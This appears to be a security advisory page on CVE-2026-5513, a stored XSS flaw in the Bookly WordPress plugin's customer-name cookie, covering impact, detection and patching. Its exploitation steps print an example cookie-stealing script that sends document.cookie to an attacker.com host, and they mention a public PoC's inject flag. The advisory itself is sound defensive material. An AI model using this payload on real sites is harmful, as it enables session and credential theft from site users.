
PEACH
Un cadre d’isolation des locataires
CVE-2026-5513 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Online Scheduling and Appointment Booking System – Bookly" plugin for WordPress, affecting versions up to and including 27.2. The flaw exists in the bookly-customer-full-name cookie due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. Exploitation requires the "Remember personal information in cookies" setting to be enabled, which is disabled by default. It was published on June 13, 2026, with a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). When the "Remember personal information in cookies" feature is enabled, the Bookly plugin reads and renders the bookly-customer-full-name cookie value without adequate sanitization or output escaping, allowing attacker-controlled content to be stored and later reflected into page output. An unauthenticated attacker can craft a malicious cookie value containing JavaScript, which is then executed in the browsers of any user who visits an affected page. A public Python-based proof-of-concept exploit is available that automates detection and injection against vulnerable Bookly installations (GitHub Advisory, PoC Exploit).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of users visiting pages where the malicious cookie value has been rendered. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users (including administrators), and redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the vulnerable component itself, such as the broader WordPress site and its users (GitHub Advisory, Wordfence).
bookly-customer-full-name cookie is set or accepted by the server.bookly-customer-full-name cookie to a JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.--inject flag of the PoC tool or via a manual HTTP request. The plugin stores or reflects the unsanitized cookie value into page output.bookly-customer-full-name cookie values with JavaScript tags or encoded script payloads (e.g., <script>, %3Cscript%3E, javascript:).Cookie headers containing HTML/JavaScript content in the bookly-customer-full-name field.Update the Bookly plugin to a version beyond 27.2, where the patch (changeset 3504922) addresses the insufficient sanitization and output escaping of the bookly-customer-full-name cookie (Wordfence, Plugin Changeset). As an immediate workaround, ensure the "Remember personal information in cookies" setting is disabled (it is off by default), which prevents the vulnerable code path from being triggered. Additionally, implementing a strict Content Security Policy (CSP) header can limit the impact of any XSS by restricting unauthorized script execution on the site.
The vulnerability was assigned and disclosed by Wordfence, which maintains a dedicated threat intelligence entry for it. Social media activity was observed on Mastodon (via RedPacketSecurity and VulDB accounts) and Bluesky shortly after disclosure, reflecting routine community tracking of new WordPress plugin CVEs. No major vendor statements or notable researcher commentary beyond the initial disclosure have been identified (Wordfence).
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."